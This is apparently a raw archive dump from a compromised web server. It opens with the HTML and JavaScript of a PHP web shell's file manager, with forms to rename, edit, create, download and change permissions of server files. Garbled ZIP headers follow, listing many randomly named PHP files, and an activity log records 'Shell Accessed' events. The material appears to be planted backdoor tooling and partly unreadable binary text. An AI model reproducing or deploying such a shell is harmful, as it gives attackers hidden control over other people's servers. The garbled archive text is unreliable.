<input type="text" id="renameNewName" name="newName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
<button type="submit" name="rename" class="btn">Rename</button>
</div>
</form>
</div>
</div>
<!-- Permissions Modal -->
<div id="permissionsModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="permissionsPath" name="permPath" value="">
<div class="form-group">
<label for="permissionsOctal">Permissions (Octal):</label>
<input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
<button type="submit" name="changePermissions" class="btn">Apply</button>
</div>
</form>
</div>
</div>
<!-- Edit File Modal -->
<div id="editFileModal" class="modal">
<div class="modal-content modal-lg">
<h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
<form class="editor-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="editFilePath" name="filePath" value="">
<div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
<textarea id="fileContent" name="fileContent" required></textarea>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
<button type="submit" name="saveFile" class="btn">Save</button>
</div>
</form>
</div>
</div>
<!-- Create File Modal -->
<div id="createFileModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New File</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFileName">File Name:</label>
<input type="text" id="newFileName" name="newFileName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
<button type="submit" name="createFile" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Create Folder Modal -->
<div id="createFolderModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New Folder</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFolderName">Folder Name:</label>
<input type="text" id="newFolderName" name="newFolderName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
<button type="submit" name="createFolder" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Hidden form for navigation -->
<form id="navigationForm" method="post" style="display: none;">
<input type="hidden" name="action" value="navigate">
<input type="hidden" id="navigationPath" name="path" value="">
</form>
<!-- Hidden form for download -->
<form id="downloadForm" method="post" style="display: none;">
<input type="hidden" name="action" value="download">
<input type="hidden" id="downloadPath" name="path" value="">
</form>
<script>
// Show loading overlay
function showLoading() {
document.getElementById('loadingOverlay').style.display = 'flex';
}
// Hide loading overlay
function hideLoading() {
document.getElementById('loadingOverlay').style.display = 'none';
}
// Navigation function
function navigateTo(path) {
showLoading();
document.getElementById('navigationPath').value = path;
document.getElementById('navigationForm').submit();
}
// Download function
function downloadFile(path) {
document.getElementById('downloadPath').value = path;
document.getElementById('downloadForm').submit();
}
// Show rename modal
function showRenameModal(path, name) {
document.getElementById('renameFileName').textContent = name;
document.getElementById('renameOldPath').value = path;
document.getElementById('renameNewName').value = name;
document.getElementById('renameModal').style.display = 'flex';
}
// Show permissions modal
function showPermissionsModal(path, name) {
document.getElementById('permissionsFileName').textContent = name;
document.getElementById('permissionsPath').value = path;
document.getElementById('permissionsModal').style.display = 'flex';
}
// Show edit file modal
function showEditFileModal(path, name) {
document.getElementById('editFileName').textContent = name;
document.getElementById('editFilePath').value = path;
showLoading();
// Fetch file content using POST
const formData = new FormData();
formData.append('action', 'getContent');
formData.append('path', path);
fetch(window.location.pathname, {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(content => {
document.getElementById('fileContent').value = content;
document.getElementById('editFileModal').style.display = 'flex';
hideLoading();
})
.catch(error => {
hideLoading();
alert('Error loading file content: ' + error);
});
}
// Show create file modal
function showCreateFileModal() {
document.getElementById('newFileName').value = '';
document.getElementById('createFileModal').style.display = 'flex';
}
// Show create folder modal
function showCreateFolderModal() {
document.getElementById('newFolderName').value = '';
document.getElementById('createFolderModal').style.display = 'flex';
}
// Hide modal
function hideModal(modalId) {
document.getElementById(modalId).style.display = 'none';
}
// Close modals when clicking outside
window.onclick = function(event) {
if (event.target.className === 'modal') {
event.target.style.display = 'none';
}
}
// Add loading indicator to form submissions
document.addEventListener('DOMContentLoaded', function() {
const forms = document.querySelectorAll('form');
forms.forEach(form => {
form.addEventListener('submit', function() {
// Don't show loading for the navigation and download forms
if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
showLoading();
}
});
});
});
</script>
</body>
</html>PK �um\0�8� � samurai_activity.lognu �[��� [2026-03-13 08:53:17] IP: 57.141.2.34 | Action: Shell Accessed | Target: 57.141.2.34 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)
[2026-03-13 09:15:52] IP: 216.73.216.181 | Action: Shell Accessed | Target: 216.73.216.181 | Status: info | UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c
PK �Um\MQK�� � 146yi.phpnu �[��� PK �Um\��Ǵq7 q7 � oiq2p.phpnu �[��� PK �Um\���� � �I about.phpnu �[��� PK �Um\o�e�*� *� �J bepyo.phpnu �[��� PK �Um\�>wg g ( index-20260307170133.phpnu �[��� PK �Um\} ���@ �@ � 21dew.phpnu �[��� PK �Um\�U��S� S� �\ hpmo7.phpnu �[��� PK �Um\�>wg g " index.phpnu �[��� PK �Um\�dz�1� 1� � q1gfm.phpnu �[��� PK �Um\~\ݸ5
5
,� z8op2.phpnu �[��� PK �Um\������ �� �� n9udf.phpnu �[��� PK �Um\�2"� � �� twkna.phpnu �[��� PK �Um\�Ύ=�/ �/ �� zkmqn.phpnu �[��� PK �Um\�K�V� � r� dr80q.phpnu �[��� PK �Um\�rf:/ :/ �� qavgy.phpnu �[��� PK �Um\�d��o� o� � 9gvid.phpnu �[��� PK �um\0�8� � ��
samurai_activity.lognu �[��� PK � ��